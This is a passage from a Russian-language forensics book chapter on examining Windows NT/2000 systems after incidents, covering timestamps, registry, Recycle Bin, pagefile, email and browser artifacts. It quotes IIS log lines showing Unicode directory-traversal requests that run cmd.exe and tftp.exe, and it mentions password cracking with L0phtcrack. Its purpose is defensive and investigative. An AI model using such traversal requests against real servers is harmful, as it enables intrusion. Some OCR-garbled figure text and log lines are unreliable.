требуют, чтобы вы загрузили целевую систему с контролируемого гибкого
диска или другого носителя (они не могут выполняться с активных жестких
дисков) и выполнили утилиту, так как невозможно физически прочитать
жесткий диск, на котором выполняется операционная система Windows.
Обычно используемые утилиты поиска на диске включают DS2 компании
NTI и dtsearch. Обе утилиты выполняют поиск на физическом уровне. En
Case имеет возможность поиска строки, который будет выполняться на
файле образа доказательства, им созданного (поиск строки на физическом
уровне).
ВНИМАНИЕ NTI производит целый пакет весьма полезных судебных утилит, до-
ступный по адресу http://www.forensics intl.com/. Пакет включает
следующие программы получения свободного пространства, полу-
чения неиспользуемого пространства, перечисления файлов, кото-
рая имеет возможность создания хеш значения MD5 для каждого
файла в системе, и программу, которая выводит таблицу разбиения
(аналогично fdisk). Эти утилиты все обращаются к жесткому диску
напрямую, поэтому они должны выполняться с контролируемого за-
грузочного диска.
Поиск ключевых слов является искусством. Вы должны выбрать точные
слова, которые предоставляют полезные результаты (здесь также важно
знание всей совокупности обстоятельств). Например, при расследовании
НАГЛЯДНЫЙ ПРИМЕР
При выполнении судебного анализа пяти жестких дисков настольной си-
стемы клиент должен был решить, проводились ли мошеннические опе-
рации. Проблема была в том, что критерий поиска при каждом поиске
давал более 14000 найденных строк. Мы были перегружены таким боль-
шим объемом, а время в данном случае было эквивалентно деньгам.
Решение состояло в том, чтобы убедить клиента задать приоритеты,
какие утверждения были бы наиболее важными для доказательства. Мы
повторно обсудили это с клиентом, чтобы получить более узкие критерии
поиска. Сужение области поиска сохранило нам обоим время и деньги.
Трудно переоценить важность этого шага для эффективного судебного
анализа.

Исследование системы Windows NT/2000
279
сотрудника, который предположительно снимает деньги с помощью доро-
гих подтверждающих документов, поиск строк на его диске в 40 Гбайт с ва-
шим критерием поиска строки либо создает слишком большой объем ин-
формации, чтобы его можно было использовать, либо требует нового
критерия для поиска строки. Разумно предположить, что поиск строки не-
адекватно минимизирует область исследования.
Просмотр важных файлов
Определение файлов, которые содержат доказательства атаки или злоупот-
ребления в системах NT/2000 может быть громоздкой, волнующей и устра-
шающей задачей. Обычно в системе где то имеются следы доказательства,
которые помогают подтвердить или опровергнуть подозрения. Их поиск
может оказаться трудным процессом.
Системы Windows NT/2000 записывают ввод и вывод в такое большое
количество файлов, что почти все действия в системе оставляют некоторый
след. NT/2000 имеет временные файлы, файлы кэша, реестр, который от-
слеживает недавно использованные файлы, Recycle Bin (корзина), которая
содержит удаленные файлы и др.
При просмотре системы доказательства потребуется хороший просмот
рщик файлов, такой как Quickview Plus (компании JASC Software), чтобы
можно было быстро просмотреть подозрительные файлы. Quickview и дру-
гие просмотрщики файлов игнорируют расширения файлов, поэтому имя
файла не "обманывает" приложение. Важно распознавать файлы по их рас
ширениям, а также по их истинным заголовкам файлов. Необходимо знать,
чем являются файлы .doc, .tmp, .log, .txt, .wpd, .gif, .exe и .jpg.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Словарь высоких технологий пользователя компьютеров (перечислены все
типы файлов): http://www.computeruser.com/resources/dictionary/fitetypes.htmL
Quickview Plus: http://www.jasc.com/
Популярное программное обеспечение может дополнить мониторинг и
учет, которые выполняет система NT/2000. Вы получаете самый крупный
выигрыш каждый раз, когда инцидент происходит на системе, использую-
щей брандмауэр на базе хоста. Программное обеспечение брандмауэра
обеспечивает фантастические возможности аудита для исследователей,
чтобы собрать вместе входящую и исходящую сетевую деятельность в сис-
теме. Большинство приложений персональных брандмауэров записывают
каждый Web сайт, который посещает система, перехватывает вирусы и
предоставляет аудиторский след для каждой известной атаки на систему.

280
Глава 10
Пример инцидента
Вы ищете подозреваемого, который предположительно незаконно сое-
динился с e mail своего руководителя на POP сервере. Это нарушает мно-
гочисленные государственные законы и также квалифицируется как не-
законное подслушивание. Вы беспокоитесь, что не сможете доказать его
вину, так как провайдер Интернета, который управляет РОР сервером
не имеет никаких журналов доступа. Затем вы вспомнили, что на всех си-
стемах в компании установлены брандмауэры на базе хоста.
Вы внимательно просмотрели систему и определили, что на системе
подозреваемого был установлен персональный брандмауэр Norton's In-
ternet Security. Вы просмотрели журналы событий, здесь показанные.
Вы видите сетевые соединения с двумя серверами почты вместе с
определенным числом посланных и полученных байтов (что может быть
крайне полезно для доказательства того, что e mail была переслана),
время и дату соединения и время, затраченное на соединение. Эта ин-
формация подтверждает, что система подозреваемого работала для сое-
динения с РОР сервером, который использует его руководитель. Подо-
зреваемый теперь должен будет многое объяснить.
Определение времени инцидента
и просмотр отметок времени/даты
Цель исследователя состоит в определении, какие файлы могут иметь от-
ношение к текущему инциденту. Наиболее общий способ, которым это де-
лается, состоит в определении временных рамок, в которых произошел
инцидент. Затем вам надо изучить файлы, которые были созданы, моди-
фицированы или считаны в течение заданного времени. Файлы, которые

Исследование системы Windows NT/2000
281
были "затронуты" во время соответствующих временных рамок, предоставля-
ют информацию, требуемую для определения, какие файлы были украдены,
выполнены, удалены (если помещены в корзину) или загружены в систему.
Просмотр информации об отметках времени является очень важным,
так как она почти всегда становится критически важной частью любого
адекватного ответа. Вам придется очистить сетевые журналы или исполь-
зовать устные показания (помните о всей совокупности обстоятельств!)
для определения интервала времени, когда должен был произойти инци-
дент. Если эти два метода не могут помочь, то просмотр целевой системы
часто открывает "дни действий"--- дни, когда осуществляется определенная
деятельность. После идентификации этих активных, соответствующих вре-
менных рамок всегда полезно просмотреть отметки времени/даты, заклю-
ченные в этих временных рамках. (Помните, что вы произвольным обра-
зом определяете временные рамки для просмотра.)
Файлы, которые были модифицированы, созданы или изменены во вре-
мя, когда произошло подозрительное событие, можно считать относящими-
ся к делу файлами. Как объяснялось в главе 9, можно использовать команду
dir для получения списка содержимого каталога, который включает время
доступа, модификации и создания файлов.
Просмотр файлов, которые были созданы, модифицированы или к ко-
торым был доступ во время инцидента, обычно ведет к реконструкции ин-
цидента. Если эта задача выполняется с контролируемого загрузочного дис-
ка, то можно использовать утилиту листинга файлов NTI (ntfsflst.exe),
которая при использовании с аргументом /m, может вычислить контроль-
ные суммы всех файлов в системе. Ниже приведен пример командной стро-
ки, использующей утилиту листинга файлов NTI:
ntfsflst a:\flles d: /m
Эта команда создает файл вывода с именем a:\files, который можно им-
портировать в электронную таблицу Excel. Утилита ntfsflst перечисляет все
каталоги и файлы, вместе с временем последнего доступа, временем моди-
фикации и временем создания. При использовании параметра /т утилита
ntfsflst также предоставляет md5sum каждого файла.
Что может произойти
При просмотре журнала приложений системы жертвы с именем HOMER,
вы встретили следующую строку:
3/4/01
3:38:43 РМ 1 0 257 AlterManager
N/A HOMER NetShield NT: The file
C:\Inetpub\scripts\04.D on HOMER is infected with the virus BackGate.
Unable to clean file. Cleaner unavailable or unable to access the file.
Вы поняли, что эта запись является результатом взлома Web сервера,
так как вирус BackGate (на самом деле черный ход, который предоставляет
удаленный доступ) был внесен в систему в каталог C:\Inetpub\scripts. Это
каталог по умолчанию для сценариев Web серверов IIS 4 и IIS 5.

282
Глава 10
Где искать доказательства
Вы знаете точное время атаки по системному времени. Таким образом для ре-
конструкции инцидента можно найти все файлы, которые были модифициро-
ваны, считаны или удалены в этих временных рамках. Чтобы подтвердить,
что система HOMER была жертвой атаки на Web сервер, вы внимательно изу-
чаете журналы Web сервера в каталоге \WINNT\System32\LogFiles\W3SVCl.
Помните, что эти журналы IIS записываются по универсальному времени
(среднему времени по Гринвичу). Быстрый просмотр файла ex010304.log
показывает сигнальный признак атаки IIS Unicode (см. главу 14).
20:37:44 44.153.22.11 GET /scripts/../../winnt/system32/attrib.exe 502
20:37:54 44
20:38:07 44
20:38:20 44
20:38:32 44
20:38:47 44
153.22.11 GET /scripts/.
153.22.11 GET /scripts/.
153.22.11 GET /scripts/E
153.22.11 GET /scripts/.
/../winnt/system32/cmd.exe 502
/../winnt/system32/tftp.exe 502
asp 200
/../winnt/system32/attrib.exe 502
153.22.11 GET /scripts/../../winrit/system32/cmd. exe 502
Отметим, что время примерно на семь часов отличается от системного
времени. Теперь, когда подтвердилось, что Web сервер действительно яв-
ляется жертвой атаки, можно использовать find для идентификации всех
файлов, к которым был доступ примерно между 3:43:00 и 04:43:00.
Поиск на сервере жертве реконструирует следующие события, которые
имели место в системе после того, как атакующий инициировал атаку на
Web сервер (все времена переведены для стандартизации в универсальное
время):
Дата
3/4/2001
3/4/2001
3/4/2001
3/4/2001
3/4/2001
3/4/2001
3/4/2001
3/4/2001
3/4/2001
3/4/2001
3/4/2001
3/4/2001
3/4/2001
3/4/2001
3/4/2001
3/4/2001
Время (GMT)
20:37:30
20:37:44
20:37:54
20:38:07
20:38:20
20:38:20
20:38:22
20:38:22
20:38:23
20:38:23
20:38:24
20:38:27
20:38:28
20:38:28
20:38:29
20:38:30
Действие
Выполнение cmd.exe с помощью Unicode Exploit (возвращает 200)
Выполнение attrib.exe с помощью Unicode Exploit (возвращает 502)
Выполнение cmd.exe с помощью Unicode Exploit (возвращает 502)
Выполнение tftp.exe с помощью Unicode Exploit (возвращает 502)
Выполнение E.asp с помощью Unicode Exploit (возвращает 200)
Создан dl.bat
Создан 00.D (install.bat)
Создан 01 .D (dir.txt)
Создан 02.D (firedaemon.exe)
Создан 03.D (login.txt)
Создан 04.D (MMtask.exe) (Backgate обнаружил антивирус?)
Создан 05.D (newgina.dll)
Создан 06.D (reggina.exe)
Создан 07.D (regit.exe)
Создан 08.D (restrict.exe)
Создан 09.D (restsec.exe)

Исследование системы Windows NT/2000
283
Дата
3/4/2001
3/4/2001
3/4/2001
3/4/2001
3/4/2001
3/4/2001
3/4/2001
3/4/2001
3/4/2001
3/4/2001
3/4/2001
3/4/2001
3/4/2001
3/4/2001
3/4/2001
3/4/2001
Время (GMT)
20:38:30
20:38:31
20:38:32
20:38:35
20:38:35
20:38:36
20:38:37
20:38:47
20:38:48
20:38:48
20:38:48
20:38:49
20:38:49
20:38:49
20:38:49
20:38:49
Действие
Создан 10.D (settings.reg)
Создан 11. D (SUD.exe)
Выполнение attrib.exe с помощью Unicode Exploit (возвращает 502)
Создан 12.D (makeini.exe)
Создан 13.D (SUD.ini)
Создан 14.D (MSINSCK.OCX)
Создан 15.D (Remscan.exe)
Выполнение cmd.exe с помощью Unicode Exploit (возвращает 502)
Скопирован SUD.exe
Скопирован firedaemon.exe
Скопирован MSW1NSCK.OCX
Скопирован login.txt
Скопирован dir.txt
Скопирован newgina.dll
Скопирован remscan.exe
Создан sud.bak (записан последний раз в 20:39:00)
Как показывает эта таблица, можно определить действия атакующего,
просматривая отметки времени/даты.'
НАГЛЯДНЫЙ ПРИМЕР
Просмотр журналов на контроллере первичного домена сети NT (PDC)
обнаруживает неавторизованный доступ (успешные входы в систему)
для нескольких учетных записей пользователя с удаленной системы.
Отметки времени/даты на этих успешных входах в систему были крити-
чески важными при просмотре системы подозреваемого.
Быстрый поиск на настольной системе подозреваемого по времени
и дате этих неавторизованных входов в систему показал, что несколь-
ко файлов LOphtcrack (фалов .1с) было создано в системе подозревае-
мого непосредственно перед успешными входами в PDC. Таким обра-
зом оказывается, что подозреваемый недавно взломал несколько
паролей пользователей и затем вошел в систему с учетными записями
этих пользователей.
Просмотр частных файлов e mail
E mail часто иcпользуется подозреваемыми, которых вы расследуете. Наи-
более распространенные клиенты e mail --- Outlook, Netscape Messenger, и
AOL, имеют свои собственные частные форматы. При просмотре почты,
посланной или полученной подозреваемым, необходимо использовать

284
Глава 10
соответствующее клиентское программное обеспечение для просмотра
e mail подозреваемого. Другими словами необходимо скопировать частные
файлы из восстановленной запоминающей среды, которые соответствуют
посланной и полученной почте, и затем просмотреть их с помощью соот-
ветствующего клиентского программного обеспечения. Иначе придется
просматривать e mail с помощью текстового редактора, что не позволит
получить полное и точное заключение.
Просмотр почты Netscape Messenger Netscape хранит почтовые сообщения
в простых текстовых файлах. Эти файлы находятся в почтовом каталоге со-
ответствующего каталога профиля. Если Netscape установлен в используе-
мом по умолчанию месте и профили хранятся в используемом по умолчанию
месте, то файлы Netscape Messanger будут находиться в каталоге \Program
Files\Netscape\Users\<User Account>\Mail.
Каждый почтовый ящик Netscape имеет два файла для поддержки: ин-
дексный файл (с расширением SNM) и файл текста сообщений (без расши-
рения). Таким образом, каждая папка почты в Netscape хранится в одном
файле. Inbox хранится в файле с именем Inbox, а посланные сообщения
хранятся в файле с именем Sent. Чтобы просмотреть содержимое этих фай-
лов, необходимо просто открыть файлы в WordPad или любом другом тек-
стовом редакторе. Просмотр индексных файлов SNM требуется редко.
Просмотр почты Microsoft Outlook Microsoft Outlook хранит почтовые сооб-
щения в собственном Формате. Файлы Outlook в системах Windows 2000 на-
ходятся обычно в каталогах Documents and Settings\<User Account>\Local
Settings\Application Data\ Microsoft\Outlook. Необходимо найти файлы
*.pst --- или файлы Personal Folders. Эти файлы являются локально хранящи-
мися архивами данных Outlook для определенных учетных записей пользо-
вателей. Так как пользователь может задать расположение архивированных
файлов *.pst в любом месте диска, то может понадобиться их найти.
Файлы PST могут архивировать почти все папки в Outlook, включая Ca-
lendar, Deleted Items, Drafts, Inbox, Journal, Notes, Outbox, Sent Items, и
Tasks. Единственной вещью, которая не может архивироваться, является
папка Contacts. Чтобы просмотреть файлы PST другой системы, вы копиру-
ете файл PST на судебную рабочую станцию и затем просматриваете файл с
помощью Outlook Client. Надо выбрать пункт меню File | Open | Personal
Folders File (.pst...) и найти на судебной рабочей станции и загрузить целе-
вой архивный файл Outlook (файл PST подозреваемого).
Восстановление удаленных файлов и данных
Существуют многочисленные ситуации, когда реагирование на инцидент
требует восстановления потерянных файлов, удаленных злонамеренными
пользователями, чтобы вызвать повреждение, или просто стертых тем, кто
хотел скрыть свои правонарушения. В этом разделе мы рассматриваем раз-
личные способы получения файлов, которые предполагаются больше не су-
ществующими.

Исследование системы Windows NT/2000
285
Эти удаленные файлы являются часто единственными файлами, кото-
рые составляют или прерывают расследование; поэтому для восстановле-
ния данных должны использоваться лучшие доступные методы. Обычно су-
ществует четыре способа восстановления удаленных данных:
Использование утилит отмены операции удаления
Восстановление файлов, расположенных в Recycle Bin
Восстановление файлов .tmp
Использование низкоуровневых утилит для восстановления файло-
вой системы
Отмена удаления файлов Как вы, вероятно, знаете, удаленные файлы на
самом деле не удаляются, они просто помечаются для удаления. Это означа-
ет, что файлы будут оставаться неизменными пока новые данные не переза-
пишут физическую область, где эти удаленные файлы расположены на
жестком диске. Чем раньше попытаться отменить удаление файла, тем
выше шансы на успех.
Большинство коммерческих утилит отмены удаления требуют использо-
вания исходной операционной системы, и они восстанавливают файлы на
исходном месте. Плохо то, что по мере роста числа восстановленных на ме-
сте файлов, вероятность восстановления поврежденных файлов или фраг-
ментов файлов уменьшается --- так как в процессе восстановления переза-
писывается нераспределенное пространство, которое может содержать
ценную информацию.
Одкой из утилит, которая выполняет операцию восстановления в фай-
ловой системе NTFS, является File Scavenger. File Scavenger может восста-
новить файлы, если пространство, которое они занимают на жестком дис-
ке, не будет использовано более новой операцией с дисковой памятью. File
Scavenger может работать даже после переформатирования диска.
Помните, что некоторые утилиты можно использовать для предотвраще-
ния удаления файлов. Например, Norton Utilities Protect является утилитой
восстановления, которая действует как замена для Recycle Bin. Protect можно
НАГЛЯДНЫЙ ПРИМЕР
При расследовании случая с детской порнографией один из авторов
спросил подозреваемого (адвокат которого присутствовал при допросе).
"Что я найду, если восстановлю все изображения на вашем жестком дис-
ке?" Ответ последовал сразу же, "Только кучу изображений кораблей".
Подозреваемый не знал, что процесс восстановления был уже выполнен,
и технология восстановления данных обнаружила ... скажем, множество
изображений, которые были значительно менее безобидны, чем кораб-
ли. Изображения были немедленно представлены подозреваемому и его
адвокату. Это серьезное доказательство того, что его клиент только что
солгал. Подтверждением были файлы, удаленные в системе NTFS более
двух месяцев назад и восстановленные на жестком диске.

286
Глава 10
сконфигурировать для защиты всех удаленных файлов, включая файлы,
удаленные через приглашение командной строки, и для автоматического
их удаления после определенного числа дней. Когда подозрительная систе-
ма загружается в собственной операционной системе, можно обнаружить,
что подозреваемый защитил свои удаленные файлы от восстановления
с помощью Norton Utilities Protect или аналогичной утилиты.
ИНФОРМАЦИОННЫЕ РЕСУРСЫ В ИНТЕРНЕТЕ
Software Deployment Technologies: http://www.soft warehouse.net/PRODUCT.htm
File Scavenger: http://www.quetek.com/prod01.htm
New Technologies Inc.: http://www.forensics intl.com/
Просмотр файлов в Recycle Bin Recycle Bin (корзина) является средством
NT/2000 (и Windows 9x), которое предотвращает от случайного удаления
файлов. Это хранилище файлов, где они располагаются, пока пользователь
не решит опустошить Recycle Bin.
Recycle Bin перехватывает только файлы, удаленные из NT Explorer или
других приложений, знающих о Recycle Bin (таких как приложения Micro-
soft Office). Удаление из командной строки или удаление из программного
обеспечения сторонних поставщиков как правило не помещается в Recycle
Bin. Файлы, удаленные на общих сетевых дисках, также не помещаются в
Recycle Bin или Recycle Bin удаленной системы.
Процесс Recycle Bin создает для каждого пользователя каталог. Каталог
создается, когда пользователь в первый раз удаляет файл. Чтобы восстано-
вить файлы из Recycle Bin, необходимо найти сначала скрытые каталоги
Recycle Bin, находящиеся в системах NT/2000. Можно найти содержимое
Recycle Bin, переходя в корневой каталог разбиения (букву диска) и затем в
каталоги в скрытом каталоге RECYCLER.
Рис. 10.4. Просмотр содержимого каталога RECYCLER

Исследование системы Windows NT/2000
287
На рис. 10.4 продемонстрировано, что команда dir требует расширения
/а, чтобы показывать скрытый каталог RECYCLER. Отметим, что подката-
логи в каталоге RECYCLER создаются на основе идентификатора безопас-
ности пользователя (SID).
При смене каталогов в каталоге RECYCLER необходимо, используя dir
/а, вы увидите подкаталог для каждой учетной записи пользователя в сис-
теме, которая имеет удаленные файлы. Система, показанная на рис. 10.4,
должна иметь только одного пользователя (учетная запись администрато-
ра), который когда то удалял какие либо файлы в системе, так как существу-
ет только один подкаталог с SID администратора (см. ниже).
Таким образом каталог RECYCLER создается, когда удаляется файл в со-
ответствующем разделе. Поэтому удаленные файлы на диске d: должны на-
ходиться в каталоге d:\RECYCLER, если только Recycle Bin не был очищен
или не было установлено специальное стирающее программное обеспечение.
ВНИМАНИЕ Размер Recycle Bin по умолчанию соответствует примерно одной де-
сятой размера раздела, который он обслуживает, поэтому там мож-
но легко найти многолетнюю историю "удаленных" файлов (если
пользователь забывает очищать Recycle Bin).
Отметим на рис. 10.5, что файл в каталоге RECYCLER не обязательно
сохраняет свое исходное имя, хотя отметки времени/даты остаются такими
же, как и у исходного файла. При просмотре файлов с помощью утилиты
Recycle Bin добавляется дата удаления.
Recycle Bin показывает подходящие имена файлов, хранящихся в скры-
том каталоге RECYCLER. Таким образом, должен существовать файл, кото-
рый отслеживает истинные имена удаленных файлов, а также дату удале-
ния. Существует скрытый файл в каталогах RECYCLER\<SID> с именем
INFO, который является двоичным файлом, отображающим имена файлов
РИС. 10.5. Просмотр содержимого Recycle Bin

288
Глава 10
Рис. 10.6. Просмотр содержимого файла INFO
и время/дату удаленного файла в файлы, содержащиеся в каталоге
RECYCLER. Можно просматривать этот файл с помощью специальных ути-
лит, таких как EnCase или Internet Explorer History Viewer, написанной
Скоттом Пондером. (Пошлите запрос в виде e mail по адресу saponder@eart
hlink.net.) На рис. 10.6 показан просмотр двоичного файла INFO с помощью
утилиты Internet Explorer History Viewer. Эта утилита показывает время,
когда был удален файл, а также настоящее имя файла.
Проверка временных файлов Многие приложения, такие как браузеры
Web, клиенты e mail и другие типы приложений конечных пользователей,
создают для работы временные файлы. Вы может полагать, что файлы с име-
нем tmp будут удаляться из системы, когда создавшее его приложение закан-
чивает свою работу. Однако это не так. Например, если вы недавно
получили сообщения e mail с большими вложениями, то возможно, что поч-
ти все вложенные файлы хранятся как временные файлы.
Просмотр всех файлов с расширением имени .tmp может показать ста-
рые документы, которые были удалены, старые представления PowerPoint
и файлы, которые были получены как вложения.
Восстановление файлов из резервных копий Возможно, наиболее громоз-
дким, но тем не менее наиболее надежным способом восстановления поте
рянных данных является поиск в наиболее свежих резервных копиях системы
и последующая попытка найти существенные файлы. Доказательство, ко-
торое отсутствует в исследуемой системе, можно найти на одной из лент
резервных копий.
Системы NT/2000 поставляются с мощными утилитами резервного ко-
пирования. NTBACKUP.EXE системы NT является утилитой с графиче-
ским интерфейсом, которая создает файл журнала, записывающий дату

Исследование системы Windows NT/2000
289
резервного копирования, число скопированных файлов, количество про-
пущенных во время процесса копирования файлов, количество записан-
ных ошибок и время, которое потребовалось для выполнения резервного
копирования. Чтобы определить, выполнялось ли недавно резервное копи-
рование восстановленного образа, поищите файл BACKUP.LOG, или про-
сто *.log, и проверьте, не был ли он создан NTBACKUP. Также никогда не
стесняйтесь спросить клиента о существовании любых системных резерв-
ных копий.
Просмотр реестра
Реестр Windows является совокупностью файлов данных, которые хранят
жизненно важные конфигурационные данные системы. Действующая сис-
тема использует реестр для хранения информации об оборудовании, про-
граммном обеспечении и компонентах системы. Можно представлять себе
реестр файлом журнала, содержащим множество данных, которые будут
полезны для расследования. Реестр может открыть программное обеспече-
ние, установленное в прошлом, настройки безопасности машины, троян-
ские DLL и стартовые программы, а также самые последние использован-
ные (MRU --- most recently used) файлы для многих различных приложений.
Реестр состоит из пяти корневых ключей, или корневых дескрипторов (на-
зываемых также ульями):
HKEY_CLASSES_ROOT
HKEY_CURRENT_USER
HKEY_LOCAL_MACHINE (HKLM)
HKEY_USERS
HKEY_CURRENT_CONFIG
Пять ульев состоят из четырех основных файлов в системе: SAM,
SECURITY, SOFTWARE и SYSTEM. По умолчанию эти файлы находятся в
каталоге \WINNT\System32\Config.
,
Исследование реестра на работающей системе Чтобы просмотреть содер-
жимое реестра, используйте редактор реестра (regedit), как показано ниже:
(J*' Registry Edtlot
Bsgistry £dit View Иф
Щ My tointiule
ffi QB HKEY_aASSE$_ftffl»T
® :'ZX HKEY.CURRENTJJ8ER
E0 li HKEY_tO»t.MACHlNE
'* 2J HKEY.USERS
 *  _i HKEY CURRENT CONFIG
ттщшЛ
Nittie"
«1
 1
~U. jU
My Comput«\HKEY_DYM_OATA

290
Глава 10
ВНИМАНИЕ Отметим, что NT имеет шестой ключ HKEY_DYN_DATA. Попытки
обратиться к нему бесполезны, так как ключ существует только в сис-
темах Windows 9x.
Реестр является также прекрасным источником для идентификации
программного обеспечения и приложений, которые были установлены в
системе и затем удалены вручную. NT/2000 не изменяет записей реестра,
когда пользователь вручную удаляет приложение. Часто при демонтаже бо-
льшинства приложений не удаляется подключ Uninstall Registry. Исследова-
тели должны использовать реестр для выяснения, какое программное обес-
печение было установлено, разыскивая типичное неавторизованнное
программное обеспечение, такое как утилиты стеганографии, LOphtcrack и
программы сетевые анализаторы. На рис. 10.7 показан пример листинга
подключа Uninstall в системе, включающего большую часть установленного
в данный момент программного обеспечения.
Рис. 10.7. Исследование реестра в поисках установленных приложений
*
Что может произойти
Вы выполняете судебный анализ в системе, где пользователь будто бы ис-
пользует учетные записи NT сотрудников и незаконно получает доступ к
множеству их файлов. Вы подозреваете, что человек выяснил хеши паро-
лей с помощью средства перехвата SMB из LOphtcrack, так как вся организа-
ция является доменом широковещательных рассылок. Вы нашли в системе
несколько файлов .1с, которые оказались вскрытыми файлами паролей. Од-
нако вы не можете определить, устанавливал ли пользователь когда нибудь
L0phtcrack в своей системе.

Исследование системы Windows NT/2000
291
Где искать доказательства
Ищем в резервных копиях реестра системы. Резервные копии можно испо-
льзовать для отслеживания установки и удаления приложений, таких как
LOphtcrack. Системные администраторы и грамотные пользователи часто
создают резервные копии своих файлов реестра (многие на собственном
опыте узнали, что если разрушается реестр, то разрушается и система). Бо-
льшинство резервных копий реестра можно найти в каталоге \WINNT\Re
pair, содержащем сжатые файлы реестра, которые создаются всякий раз,
когда пользователь выполняет rdisk /s для создания системного загрузоч-
ного диска (rdisk обычно выполняется на большинстве производственных
серверов NT и не предлагается в Windows 2000). Можно восстановить сжа-
тые файлы реестра с помощью утилиты expand.exe из NT. Выполните так-
же поиск файлов .reg.
Если будут найдены файлы резервных копий реестра, то используйте
утилиту regback или regrest из NTRK для их восстановления. Тогда вы смо-
жете просмотреть их с помощью regedit.
Автономное исследование реестра Исследование реестра судебного дубли-
ката без загрузки из собственной операционной системы является достаточ-
но простой задачей. Скопируйте файлы ульев реестра из их используемого
по умолчанию месторасположения, обычно \WINNT\System32\Config на
судебную рабочую станцию. Затем выполните regedit и импортируйте эти
файлы, выбирая Registry | Import Registry File.
Просмотр файла своппинта
Файл, своппинга является скрытым системным файлом, который использует-
ся для организации виртуальной памяти. Когда системе не хватает объема
системной оперативной памяти, файл своппинга применяется для времен-
ного использования в качестве оперативной памяти. Операционная систе-
ма будет выгружать менее используемые части оперативной памяти в этот
файл, чтобы освободить пространство для более активных приложений.
Файл своппинга примерно в два раза больше объема оперативной памяти
системы. Участки памяти, выгружаемые в файл своппинга на жестком дис-
ке, называются страницами.
Файл своппинга может содержать фрагменты текста из документов, па-
роли и другие интересные элементы информации, которые пользователь
недавно использовал. Проблема состоит в том, что пользователь может не
осознавать, что данные находятся там.
Файл своппинга в системах Windows NT/2000 именуется pagefile.sys.
(Постоянный файл своппинга в Windows 9х называется win386.sw|>.) Нa
рис. 10.8 показана утилита мониторинга файлов, перехватывающая систе
му, записывающую мегабайты данных в файл своппинга.
Так как файл своппинга является скрытым системным файлом, необхо
димо сначала разрешить системе показывать скрытые файлы. Можно испо
льзовать dir /ah в командной строке или можно настроить Windows Explo
rer для просмотра скрытых файлов, выбирая Tools | Folder Options и пункг
Show Hidden Files and Folders. ЭтО позволит просматривать неактивные
файлы своппинга.

292
Глава 10
Рис. 10.8. Система Windows NT, записывающая данные в файл своппинга
Просмотр работающего файла своппинга является трудной задачей, и мы
не знаем никакого общедоступного программного обеспечения, предостав-
ляющего такую возможность. Поэтому если желательно просмотреть файл
своппинга в автономном режиме, важно убедиться, что pagefile.sys не очища-
ется, если система должна выключаться постепенно (как в случае Oracle или
SQL Server, которые нежелательно выключать простым выключением руби-
льника питания, чтобы не повредить записи базы данных). Так как pagefile
содержит кэшированную информацию, которая может быть нежелательна
для просмотра посторонними, то пользователи конфигурируют свой реестр
для очистки pagefile перед тем, как система будет постепенно выключена.
Проверьте следующий ключ, чтобы определить, будет или нет pagefile
очищаться при выключении системы:
HKLM\System\CurrentControlSet\Control\Session Manager\Memory
Management\ClearPageFileAtShutdown
Ноль означает, что файл своппинга не перезаписывается при выключе-
нии. Это является настройкой по умолчанию. Единица означает, что все
неактивные страницы перезаписываются нулями во время выключения.
Это по прежнему оставляет файл своппинга для судебной экспертизы, но
считайте, что вам крупно повезло, если найдете что то полезное.
В Windows 2000 пользователь может включить локальную политику, на-
зываемую Clear Virtual Memory Page File When System Shuts Down (Очищать
файл страниц виртуальной памяти при выключении системы), доступную
через Local Securiti Settings | Local Policies | Security Options.

Исследование системы Windows NT/2000
293
Поиск улик в файле своппинга, при просмотре его с помощью шестнадца
теричного редактора или какого нибудь другого просмотрщика является
крайне трудоемким. Большая часть содержимого находится в двоичном фор-
мате и может оказаться не очень полезной. Возможно, будет достаточно вы-
полнить поиск строк в файле своппинга, чтобы получить доказательства.
ВНИМАНИЕ NTI предлагает утилиту с именем Net Threat Analyzer, который имеет
некий алгоритм нечеткой логики (во время написания книги сделана
патентная заявка), которая предположительно может сберечь до-
статочно много времени при идентификации улик из содержимого
файла своппинга Windows. Однако когда работа зависит от характе-
ра судебного реагирования на инцидент, может оказаться трудно
использовать утилиту нечеткой логики, не зная точно ее функций.
Помните, что такие утилиты предоставляют исследовательские до-
гадки, а не четко сформулированные выводы.
Просмотр связей
Другим важным шагом является проверка разорванных связей в системе.
Мы уже обсуждали использование реестра для определения установленно-
го в системе программного обеспечения и возможном нахождении следов
присутствия приложений, которые были удалены некорректно. Проверка
связей может также помочь определить, какое программное обеспечение
присутствовало в системе.
Связи используются для соединения ярлыков рабочего стола или эле-
ментов Меню Start с приложением или документом. При удалении приложе-
ний или документов вручную сохраняются связи, которые были для них
Рис. 10.9. Выполнение chklnks для поиска разорванных связей в системе

294
Глава 10
созданы. Пользователи могут удалить файлы, но забыть удалить ярлык ра-
бочего стола в системе. Утилита chklnks.exe из NTRK прекрасно подходит
для обнаружения файлов, которые были когда то установлены, но в данный
момент их невозможно найти. Как показано на рис. 10.9, chklnks находит
мертвые (разорванные) связи.
Связи также являются важными при рассмотрении сетевых соединений
и ярлыков. Обычно пользователи имеют ярлыки рабочего стола для своих
коммутируемых соединений с провайдером Интернета и других сетевых
соединений. Проверьте каталог пользователя \%systemroot%\Profiles\
<user>\Desktop и просмотрите все связи (*.lnk) для приложений рабочего
стола этого пользователя.
Просмотр файлов Web браузера
Сотрудникам необходим доступ к Интернету во время работы, но многие
компании не хотят, чтобы их сотрудники тратили большую часть своего ра-
бочего времени на покупки, просмотр, торговлю акциями, болтовню в чате
или загрузку порнографии в системы компании. Такая деятельность требует
использования браузеров Web. Web браузеры, такие как Netscape и Internet
Explorer, поддерживают файлы журналов. Оба браузера записывают исто-
рию своего использования и отслеживают сайты, которые недавно посеща-
лись. Они поддерживают также кэш, содержащий определенное количество
реальных файлов и Web страниц, которые недавно просматривались.
Просмотр файлов истории Netscape и Internet Explorer Файл истории Ne-
tscape, netscape.hst, обычно располагается в каталоге \Program Files\Netsca
pe\Users\<username>. Многие знают о файле истории Netscape. Люди,
которые хотят скрыть свое использование браузера для посещения неподхо-
дящих сайтов, часто стирают этот файл или очищают его через настройки
Netscape Preferences. Однако файл fat.db часто пропускают, а он является
прекрасным источником для отслеживания использования браузера. Для на-
чального реагирования можно использовать URL aboutxache для просмотра
содержимого файла fat.db.
Internet Explorer содержит свои временные файлы Интернета в каталоге
\WINNT\Profiles\<UserId>\Local Settings\Temporary Internet Files\Content
XX в файле index.dat. Реальный HTML и файлы хранятся в файлах кэша In-
ternet Explorer, обычно находящихся в каталоге \WINNT\Temporary Inter-
